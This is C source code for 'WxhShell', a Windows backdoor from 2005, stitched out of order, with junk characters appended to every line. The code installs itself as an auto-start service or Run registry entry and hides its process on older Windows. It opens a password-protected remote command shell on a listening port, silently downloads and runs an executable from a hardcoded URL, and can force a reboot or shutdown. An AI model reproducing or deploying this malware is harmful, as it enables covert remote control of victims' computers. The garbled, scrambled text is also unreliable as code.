    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .pu]21m=  
    else { SWO$# X /  
    closesocket(wsh); `"I^nD^t>Y  
    ExitThread(0); @luv;X^%  
    } =B*,S#r  
    break; n0O- Bxhl  
    } b,D+1'  
  // 获取shell i4'?/UPc  
  case 's': { s=~r. x  
    CmdShell(wsh); 0mH>fs 4  
    closesocket(wsh); p[hA?dXn  
    ExitThread(0); <bXfjj6YJ@  
    break; h<6@&yzp  
  } uV52ko,  
  // 退出 zvdtP'&uj  
  case 'x': { TaG'?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0>Z/3i&?<  
    CloseIt(wsh); 9w}A7('  
    break; ZR6KE_  
    } n_)d4d zl  
  // 离开 x76<u:  
  case 'q': { >7@F4a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /tJJ2 =%l  
    closesocket(wsh); #";(&|7  
    WSACleanup(); My:wA;#  
    exit(1); K S,X$)9  
    break; PD:" SfV,G  
        } )e4nKh],  
  } 1 ;4TA}'H  
  } }a'8lwF%I  
|mc!v*O  
  // 提示信息 :?U1^!$$1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^WVH z;  
} y_Bmd   
  } "So+  
1$q SbQ  
  return; o D*h@yL  
} D5]T.8kX(7  
SE;Jl[PgcL  
// shell模块句柄 lmp0Ye|  
int CmdShell(SOCKET sock) H--(zxK  
{ S$=])^dur  
STARTUPINFO si; cmZ39pjBJ  
ZeroMemory(&si,sizeof(si)); /$%apci8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m.&z:`x[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mf<P ms\F  
PROCESS_INFORMATION ProcessInfo; MJt?^G (w?  
char cmdline[]="cmd"; `(q+@#)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \.POb5]p0  
  return 0; &+xNR2";  
} u1~H1 ]Ii  
D+9xI  
// 自身启动模式 @tM1e<  
int StartFromService(void) 6*lTur9ni  
{ xeIt7b?#  
typedef struct !eMz;GZ  
{ `&LPqb  
  DWORD ExitStatus; <2fZYt vt  
  DWORD PebBaseAddress; \uc]+nV!o  
  DWORD AffinityMask; .Lr;{B  
  DWORD BasePriority; 7s4G|N[wR\  
  ULONG UniqueProcessId; jav7V"$  
  ULONG InheritedFromUniqueProcessId; ^{T]sv  
}   PROCESS_BASIC_INFORMATION; Z]@my,+Z;  
MXh0a@*]  
PROCNTQSIP NtQueryInformationProcess; r,cV(  
(OLjE]9;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [o<Rgq 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `+CRUdr  
I% ivY  
  HANDLE             hProcess; \xlelsmB*  
  PROCESS_BASIC_INFORMATION pbi; 08n2TL;EsX  
 TTZb.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,6=j'j1#a  
  if(NULL == hInst ) return 0; -,)&?S  
DI{VJ&n66  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b}HL uX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >gRb.-{ux  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [_Fj2nb*  
<wfPbzs-V  
  if (!NtQueryInformationProcess) return 0; M+j V`J!  
2F%2K?$`Ej  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ I"}3*  
  if(!hProcess) return 0; 1YV ;pEw3w  
Z@2^> eC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !'8.qs  
(HbA?Aja  
  CloseHandle(hProcess); w<#/ngI2  
BpBMFEiP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }$i Kz*nx|  
if(hProcess==NULL) return 0; NX%"_W/W  
\5M1;  
HMODULE hMod; q4=Gj`\43  
char procName[255]; .;}vp*  
unsigned long cbNeeded; h]T  
5,  "  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B6ee\23  
bca4'`3\|  
  CloseHandle(hProcess); (SGX|,5X7  
5QN~^  
if(strstr(procName,"services")) return 1; // 以服务启动 O/Cwm;&t  
D=1:-aLP7  
  return 0; // 注册表启动 v+d} _rCT  
} Yw=7(}  
qQjd@J}^  
// 主模块 0RFBun{  
int StartWxhshell(LPSTR lpCmdLine) ?, B4  
{ +*uaB  
  SOCKET wsl; MTXh-9DA  
BOOL val=TRUE; .ni<'  
  int port=0; Lmsc ~~  
  struct sockaddr_in door; +xNV1bM  
ES,T[  
  if(wscfg.ws_autoins) Install(); &A}hx\_T  
HOt,G _{  
port=atoi(lpCmdLine); Op()`x m  
mHe[ NkY6  
if(port<=0) port=wscfg.ws_port; Ls<^z@I  
A |u-VXQ  
  WSADATA data; }fO+b5U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +~(SeTY  
n f.H0i;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jQBL 8<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _=Z?5{7S >  
  door.sin_family = AF_INET; ~Y/:]&wF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uwl_TDc>%  
  door.sin_port = htons(port); ylm # Xa  
w)N~u%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A=W:}szt]  
closesocket(wsl); xO[V>Ud  
return 1; y0f:N U  
} w**~k]In  
p0rmcP1Ln  
  if(listen(wsl,2) == INVALID_SOCKET) { j)ME%17  
closesocket(wsl); }1 ,\ *)5  
return 1; .8wf {y  
} ]!q>@b  
  Wxhshell(wsl); "%}24t%  
  WSACleanup(); D%}rQ,*  
&%]v0QK  
return 0; \5|MW)x  
6(=B`Z}a  
} Al1_\vx7  
x(n|zp ("  
// 以NT服务方式启动 3n,jrX75u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1etT."  
{ 4< +f|(fIA  
DWORD   status = 0; /!?b&N/d)  
  DWORD   specificError = 0xfffffff; 7KesfH?  
QJ&]4*>a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :.9Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L{&>,ww  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <Drm#2x!E  
  serviceStatus.dwWin32ExitCode     = 0; )T6:@n^]h  
  serviceStatus.dwServiceSpecificExitCode = 0; 0K'{w]Q  
  serviceStatus.dwCheckPoint       = 0;  ZC]|s[  
  serviceStatus.dwWaitHint       = 0; <6Y|vEo!N  
v w 6$v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yAAV,?:o[  
  if (hServiceStatusHandle==0) return; 3[j,d]\|  
?q7MbQw  
status = GetLastError(); @F] w]d  
  if (status!=NO_ERROR) ic5af"/(\  
{ #W6 6`{>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A!,c@Kv 3  
    serviceStatus.dwCheckPoint       = 0; Tw djBMte  
    serviceStatus.dwWaitHint       = 0; veuX />!  
    serviceStatus.dwWin32ExitCode     = status; 0cSm^a  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^KdT,^6T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EnGh&]  
    return; cRH(@b Xr  
  } 0$ON`Vsu|  
fP:]s@$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~n8UN<  
  serviceStatus.dwCheckPoint       = 0; 5kGQf  
  serviceStatus.dwWaitHint       = 0; #8sy QWlG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :2H]DDg(  
} oKYa ?  
rrR"2WuGO  
// 处理NT服务事件,比如:启动、停止 GMg! 2CIU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CuK>1_Dq  
{ bfpeK>T  
switch(fdwControl) i6P}MtC1  
{ i9Beap/t$  
case SERVICE_CONTROL_STOP: pj<aMh  
  serviceStatus.dwWin32ExitCode = 0; q_6lD~~q^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W**[:n+  
  serviceStatus.dwCheckPoint   = 0; L*dGo,oN  
  serviceStatus.dwWaitHint     = 0; uB^"A ;0v  
  { XlD=<$Nk7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gxmo 1  
  } tH&eKM4G  
  return; akk*f+TD`  
case SERVICE_CONTROL_PAUSE: CVvl &on  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A9N8Hav  
  break; ]zVQL_%,  
case SERVICE_CONTROL_CONTINUE: n_4.`vs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \9@}0}%`  
  break; 1) K<x  
case SERVICE_CONTROL_INTERROGATE: k~so+k&=b  
  break; hSxK*.W*3  
}; jygUf|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t\LE\[XM>  
} C$ K?4$  
4W|cIcU W  
// 标准应用程序主函数 8\9W:D@"x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kP}l"CN4  
{ FX9WX b4w  
zRmVV}b  
// 获取操作系统版本 %]Nm'"Y`U  
OsIsNt=GetOsVer(); n $N M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "=K3sk  
w)* H&8h@  
  // 从命令行安装 f+ZOE?"  
  if(strpbrk(lpCmdLine,"iI")) Install(); K|\0jd)N  
g]JRAM  
  // 下载执行文件 ^wc:qll  
if(wscfg.ws_downexe) { wLiPkW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E+EcXf  
  WinExec(wscfg.ws_filenam,SW_HIDE); sN-u?EiF8  
} J"< h#@`  
r_+!3   
if(!OsIsNt) { -xLK/QAL  
// 如果时win9x,隐藏进程并且设置为注册表启动 o3\^9-jmp  
HideProc(); = 03G~7B>  
StartWxhshell(lpCmdLine); `KLr!<i()  
} IY6Qd4157  
else U[Sh){4j  
  if(StartFromService()) ]l h=ZC  
  // 以服务方式启动 x4>"m(&%  
  StartServiceCtrlDispatcher(DispatchTable); 'AWWdz  
else  \v+c.  
  // 普通方式启动 6AdUlPM  
  StartWxhshell(lpCmdLine); =bP<cC=3b  
(VmFYNt&  
return 0; l&e{GHz  
} _g9j_ x:=  
]8OmYU%6V  
tUZfQ  
LjEMs\P\  
=========================================== 6C<GYzzo  
gBWr)R  
ollVg/z  
ar 7.O;e  
GutiqVP:B  
|7n%8JsY!"  
" 9ghUiBPiL:  
nO'C2)bBSG  
#include <stdio.h> pRxVsOb  
#include <string.h> D-t!{LA  
#include <windows.h> eJn_gKWb  
#include <winsock2.h> = =Q*|L-g  
#include <winsvc.h> lTN^c?  
#include <urlmon.h> +_vf=d  
J4 j:nd  
#pragma comment (lib, "Ws2_32.lib") ME!P{ _/  
#pragma comment (lib, "urlmon.lib") \+/ciPzA-  
I*JJvqh  
#define MAX_USER   100 // 最大客户端连接数 9An \uH)mL  
#define BUF_SOCK   200 // sock buffer sUR5Q/Q  
#define KEY_BUFF   255 // 输入 buffer _I3"35a  
P*}aeu&lnD  
#define REBOOT     0   // 重启 Y`$\o  
#define SHUTDOWN   1   // 关机 Unq~lt%2  
pmurG  
#define DEF_PORT   5000 // 监听端口 tQxxm=>  
W?!rqo2SP  
#define REG_LEN     16   // 注册表键长度 ^ T`T?*h  
#define SVC_LEN     80   // NT服务名长度 "|Yy "iB[  
}wBpBw2J  
// 从dll定义API /zQx}U)TP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [h&s<<# D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sKs`gi2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U7g,@/Qx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5{iNR4sq  
O*]}0*CT  
// wxhshell配置信息 e.XD5~Ax  
struct WSCFG { Nr)DU.f  
  int ws_port;         // 监听端口 YD9vWk \/  
  char ws_passstr[REG_LEN]; // 口令 #SI]^T|  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4OO^%`=)M'  
  char ws_regname[REG_LEN]; // 注册表键名 '0_W< lGB  
  char ws_svcname[REG_LEN]; // 服务名 X>o*eN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /M3;~sx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hv:~)h$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nG?Z* n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l>BM}hS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~+Cl9:4T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K)Z~ iBRM  
4&e<Sc64  
}; };Df ><  
I.~=\%Z {  
// default Wxhshell configuration ^HT vw~]5  
struct WSCFG wscfg={DEF_PORT, > hGB o  
    "xuhuanlingzhe", jG}nOI  
    1, gOE ?  
    "Wxhshell", :iQJ9Hdz  
    "Wxhshell", Y=<zR9f`  
            "WxhShell Service", V!TGFo}  
    "Wrsky Windows CmdShell Service", L7xiq{t`Y  
    "Please Input Your Password: ", *qm>py`O  
  1, R@>^t4#_Q0  
  "http://www.wrsky.com/wxhshell.exe", A5%Now;.cf  
  "Wxhshell.exe" ka(3ONbG  
    }; U!BZs Vx  
auY?Cj'"fs  
// 消息定义模块 X_rv}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9>&p:+D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '*&V7:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o{hZjn-  
char *msg_ws_ext="\n\rExit."; }y(cv}8Y  
char *msg_ws_end="\n\rQuit."; OP_\V8=  
char *msg_ws_boot="\n\rReboot..."; LCHw.  
char *msg_ws_poff="\n\rShutdown..."; L$,Kdpj  
char *msg_ws_down="\n\rSave to "; C9FAX$$^(Y  
Go]y{9+(7  
char *msg_ws_err="\n\rErr!"; c@j3L23B  
char *msg_ws_ok="\n\rOK!"; PBL=P+  
rV-Xsf7Z  
char ExeFile[MAX_PATH]; 4Y G\<Zf  
int nUser = 0; IkGM~3e  
HANDLE handles[MAX_USER]; ,Vz-w;oDn  
int OsIsNt; =dWq B&  
M3JV^{O/DV  
SERVICE_STATUS       serviceStatus; !9V; 8g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /7.//klN  
tTt}=hQpgX  
// 函数声明 j~9![s!  
int Install(void); Udjn.D  
int Uninstall(void); ,,S 2>X*L  
int DownloadFile(char *sURL, SOCKET wsh); a'>n'Y~E  
int Boot(int flag); #.,LWL]  
void HideProc(void); }p8iq  
int GetOsVer(void); Y|KT3  
int Wxhshell(SOCKET wsl); \t=#MzjR  
void TalkWithClient(void *cs); l @E {K|  
int CmdShell(SOCKET sock); 7$R^u7DZ  
int StartFromService(void); UMPW<> z  
int StartWxhshell(LPSTR lpCmdLine); A9GSeW<  
T*(mi{[T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TeJ=QpGW2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lpbcpB  
Z:,`hW*A6  
// 数据结构和表定义 X LY>}r  
SERVICE_TABLE_ENTRY DispatchTable[] = LGYg@DR  
{ g6?5  
{wscfg.ws_svcname, NTServiceMain}, @)ls+}=Y  
{NULL, NULL} :"K9(XKKU  
}; # 3FsK  
&}#zG5eu  
// 自我安装 V'K:52  
int Install(void) rWN%j)#+  
{ ;2gO(  
  char svExeFile[MAX_PATH]; $?;)uoAg  
  HKEY key; r#J_;P{U  
  strcpy(svExeFile,ExeFile); dvAz}3p0]  
z)u\(W*\iA  
// 如果是win9x系统,修改注册表设为自启动 ;):E 8;B)  
if(!OsIsNt) { F&7^M0x\ O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /3;]e3x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i G%R'/*  
  RegCloseKey(key); }Am5b@g"$Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YQR[0Y&e=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o"p['m*g  
  RegCloseKey(key); gzDfx&.0  
  return 0; j@/p: fk  
    } 2~yj =D27Z  
  } Ir Y\Q)  
} R I:kp.V  
else { ZsP>CELm@  
*y|zF6  
// 如果是NT以上系统,安装为系统服务 _9<Mo;C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,@zw  
if (schSCManager!=0) ]\/"-Y#4Q  
{ EZZE(dq@gf  
  SC_HANDLE schService = CreateService z0|-OCmL  
  ( >Udq{<]#r  
  schSCManager, mH)8A+us  
  wscfg.ws_svcname, F;T;'!mb  
  wscfg.ws_svcdisp, nx%eq ,Pq  
  SERVICE_ALL_ACCESS, R%`fd *g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 60WlC0Y~u  
  SERVICE_AUTO_START, ^AoX|R[1%  
  SERVICE_ERROR_NORMAL, D/wJF[_  
  svExeFile, UQbk%K2  
  NULL, O.{  
  NULL, .dwbJT  
  NULL, 1yFIIj:^|  
  NULL,  %Nx,ZD@  
  NULL ;/)$Cm&e  
  ); lcVG<*gf-  
  if (schService!=0) #L&/o9|  
  { Uz%ynH  
  CloseServiceHandle(schService); qI<c47d;q  
  CloseServiceHandle(schSCManager); ST,+]p3L(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d?V/V'T[  
  strcat(svExeFile,wscfg.ws_svcname); Emw]`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E H|L1g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U U#tm  
  RegCloseKey(key); d ]jF0Wx*  
  return 0; ?A-f_0<0  
    } B;2#Sa.  
  } w}e_ 17A  
  CloseServiceHandle(schSCManager); J7t) H_S{  
} ;J:*r0  
} p$` ^A  
TV`sqKW  
return 1; +{#Z^y6&  
} b*4aUpW  
_joW%`T8  
// 自我卸载 dV-6l6  
int Uninstall(void) d<E2=WVB6  
{ RLcC>Z  
  HKEY key; )19#g1rn5  
B9H.8+~(  
if(!OsIsNt) { 3sDyB-\&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yw1Xxwc  
  RegDeleteValue(key,wscfg.ws_regname); PF+Or  
  RegCloseKey(key); p\Iy)Y2Lf!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D[4%CQ1m  
  RegDeleteValue(key,wscfg.ws_regname); wNUcL*n  
  RegCloseKey(key); `'gcF });  
  return 0; 15%6;K?b  
  } n#B}p*G  
} :^FH.6}x  
} ^==Tv+T9U  
else { Ds{bYK_y  
muKu@nshL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2EO9IxIf  
if (schSCManager!=0) L x iN9  
{ CZ%KC$l.5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }iLi5Qkx  
  if (schService!=0) fG{3S:TQq  
  { ,mz7!c9H^a  
  if(DeleteService(schService)!=0) { TJB4N$-}A  
  CloseServiceHandle(schService); /nEK|.j  
  CloseServiceHandle(schSCManager); U.ZA%De  
  return 0; A;f)`i0l,  
  } P]L%$!g  
  CloseServiceHandle(schService); "chf \ -!$  
  } |:u5R%  
  CloseServiceHandle(schSCManager); ' -aLBAxy  
} OT"jV  
} `V.tqZF  
wzZ]| C(vp  
return 1; 0rif,{"  
} `wSoa#U"@  
C[;7i!Dv  
// 从指定url下载文件 f/Z-dM\e  
int DownloadFile(char *sURL, SOCKET wsh) W>'gG}.  
{ .mOm@<Xdg  
  HRESULT hr; P E[5oH  
char seps[]= "/"; Dhk$e  
char *token; B =DV!oUg  
char *file; `}8)P#  
char myURL[MAX_PATH]; Cn.dv-  
char myFILE[MAX_PATH]; 8-smL^~%#  
rERtOgi  
strcpy(myURL,sURL); TaKCN   
  token=strtok(myURL,seps); -vt6n1A&b  
  while(token!=NULL) ]*0t?'go'  
  { 9N|JI3*41  
    file=token; jASK!3pY  
  token=strtok(NULL,seps); DvA#zX[  
  } -ilhC Y@M  
NCm=l  
GetCurrentDirectory(MAX_PATH,myFILE); sr~VvciIy  
strcat(myFILE, "\\"); -'i[/{  
strcat(myFILE, file); [y<s]C6E  
  send(wsh,myFILE,strlen(myFILE),0); Q0xQx z  
send(wsh,"...",3,0); 'n?"f|G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .0|_J|{  
  if(hr==S_OK) q"-Vh,8h  
return 0; viVn  
else 9YBlMf`KEf  
return 1; 9s*UJIL  
O /h1ew  
} aecvz0}@R  
![Vrbe P  
// 系统电源模块 `EiL~*  
int Boot(int flag) g~OG~g@  
{ <F| S<\Y.  
  HANDLE hToken; ikPr>  
  TOKEN_PRIVILEGES tkp;  ~"h V-3U  
gOaK7A  
  if(OsIsNt) { 2$gFiZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X,K`]hb*0_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I*(7(>zgyv  
    tkp.PrivilegeCount = 1; +H!aE}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X)8Edw[?N3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F<,"{L  
if(flag==REBOOT) { [,|4%Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) < -Ax)zE  
  return 0; N/E=-&E8  
} }5?|iUH|  
else { U,aMv[ZB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y<y9'tx  
  return 0; u 0 K1n_  
} UD5f+,_;  
  } EFs\zWF  
  else { k:1|Z+CJ  
if(flag==REBOOT) { V_)465g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QRER[8]r$  
  return 0; SN#N$] y5s  
} hrbeTtqi  
else { Aac7k m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ' PmBNT  
  return 0; 4WQ 96|F  
} |%=c<z+8  
} ?:RWHe.P  
a+n?y)u  
return 1; 'Ub\8<HfJU  
} xllmF)]*Y  
!(N,tZ  
// win9x进程隐藏模块 N3Z6o.k  
void HideProc(void) %#7^b=;=  
{ 0a)LZp|  
0U:9&j P,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o31pF  
  if ( hKernel != NULL ) |C\XU5}  
  { ?w@KF%D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d^XRkB:h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cX48?srG  
    FreeLibrary(hKernel); "J3n_3+  
  } H=_k|#/  
+RD{<~i  
return; IQ9Rvnna  
} 0I>[rxal  
~g;lVj,N'  
// 获取操作系统版本 s|C4Jy_  
int GetOsVer(void) ldWr-  
{ BoPJ;6?>}  
  OSVERSIONINFO winfo; ixo?o]Xb`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -r6LndQs  
  GetVersionEx(&winfo); irzWk3@:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |",/  
  return 1; `T$CUlt6  
  else ^2!l/(?  
  return 0; OW8"7*irT  
} sVT\e*4m}  
-8,lXrH  
// 客户端句柄模块 *'ex>4^  
int Wxhshell(SOCKET wsl) MIWI0bnf  
{ n$(_(&  
  SOCKET wsh; n/-d56  
  struct sockaddr_in client; pL)o@-k#%  
  DWORD myID; Y,C3E>}Dq  
1\BQq  
  while(nUser<MAX_USER) l+i9)Fc<i  
{ \^rAH@  
  int nSize=sizeof(client); iKuSk~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IH0qx_;P&  
  if(wsh==INVALID_SOCKET) return 1; D<*#. >  
E;^~}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9DP6g<>B  
if(handles[nUser]==0) kkE1CHY  
  closesocket(wsh); a).bk!G  
else Jri"Toz0  
  nUser++; ^3  '7  
  } N_"mC^Vx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U.HeIJ#  
}J&[Uc  
  return 0; K\]ey;Bd  
} @I^LmB9*  
Ad:)5R o  
// 关闭 socket {`vv-[j|  
void CloseIt(SOCKET wsh) }2eP~3  
{ SMdQ,n1]  
closesocket(wsh); #(G#O1+  
nUser--; &jHnM^nQ  
ExitThread(0); { f@k2^  
} lIj2w;$v  
n/fMq,<8  
// 客户端请求句柄 Pe_iA_  
void TalkWithClient(void *cs) E#=slj @  
{ Z ^tF  
8UyYN$7V  
  SOCKET wsh=(SOCKET)cs; hDJ84$eVZ  
  char pwd[SVC_LEN]; g&30@D"  
  char cmd[KEY_BUFF]; [9E<z2H  
char chr[1]; CYZx/r<  
int i,j; \)pT+QxZ  
qh)o44/ $  
  while (nUser < MAX_USER) { {-( B  
M"eiKX  
if(wscfg.ws_passstr) { [.O 3z*[9#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ewYZ} "o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3_JxpQg  
  //ZeroMemory(pwd,KEY_BUFF); 3[: |)i)  
      i=0; jrGVC2*rD  
  while(i<SVC_LEN) { []D@"Bz  
ZW$PJmz  
  // 设置超时 MXWCYi  
  fd_set FdRead; _u$X.5Q;  
  struct timeval TimeOut; }VlX!/42  
  FD_ZERO(&FdRead); d7+YCi?  
  FD_SET(wsh,&FdRead); je6H}eWTC6  
  TimeOut.tv_sec=8; '"{ IV  
  TimeOut.tv_usec=0; #WD} XOA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \e%H5W x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9S ~!!7oj  
H@$\SUc{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >1[Hk0 <x  
  pwd=chr[0]; t&+f:)n  
  if(chr[0]==0xd || chr[0]==0xa) { -AUdBG  
  pwd=0; x4jn45]x@  
  break; <(rf+Ou>I  
  } pCOr{I\  
  i++; <4,n6$E  
    } 4-@D`,3L  
9ZjSM,+  
  // 如果是非法用户,关闭 socket U$R+&@;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >'4Bq*5>  
} Ur`Ri?  
*Z*4L|zT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RkVU^N"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .,t"i C:E  
N5u.V\F!z\  
while(1) { Zi47)8  
;W6P$@'zs  
  ZeroMemory(cmd,KEY_BUFF); x/Pi#Xm  
TY[{)aH{S  
      // 自动支持客户端 telnet标准   ^;0.P)yGA  
  j=0; 2 fp\s5%J}  
  while(j<KEY_BUFF) { HMbF#!E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uop|8n1  
  cmd[j]=chr[0]; #gbJ$1s  
  if(chr[0]==0xa || chr[0]==0xd) { -g'[1  
  cmd[j]=0; (Hqy^EOZ  
  break; W)^0~[`i  
  } tZR%s  
  j++; Nq|b$S[4  
    } $qk2!  
AyZL(  
  // 下载文件 N:Yjz^Jt  
  if(strstr(cmd,"http://")) { 5\Sm^t|Tx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MY1 1 5%  
  if(DownloadFile(cmd,wsh)) (rV#EA+6[`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e1ru#'z  
  else /7Z;/|oU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EAYx+zI  
  } O(BAw  
  else { 1PLxc)LsG  
[5$=G@ zf  
    switch(cmd[0]) { K@u\^6419  
  dx{ZG'@aH  
  // 帮助 9$F '*{8  
